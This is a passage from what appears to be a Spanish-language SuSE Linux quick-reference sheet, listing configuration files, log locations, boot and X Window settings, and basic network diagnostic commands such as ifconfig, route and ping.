módulos /etc/rc.config fichero de configuración principal de SuSE Linux. /etc/rc.config.d directorio de componentes de /etc/rc.config /etc/profile fichero de configuración de la shell de ''login'' (bash ) /etc/profile.d directorio de componentes de /etc/profile ~/.profile extensiones personalizadas de /etc/profile ver ~/.bashrc y ~/.bashrc_login /var/log directorio de registro de mensajes del sistema /var/log/messages registros generales de mensajes del sistema /var/log/boot.msg mensajes del kernel durante el arranque Arranque del sistema /etc/lilo.conf fichero de configuración del LILO /sbin/init.d directorio con scripts de arranque Configuración del sistema X Window /etc/XF86Config fichero de configuración del servidor X ~/.X.err mensajes del servidor X /var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx el servidor X Red /sbin/ifconfig mostrar configuración de las interfaces de red /sbin/route -n mostrar tabla de ''routing'' ping probar acceso a un host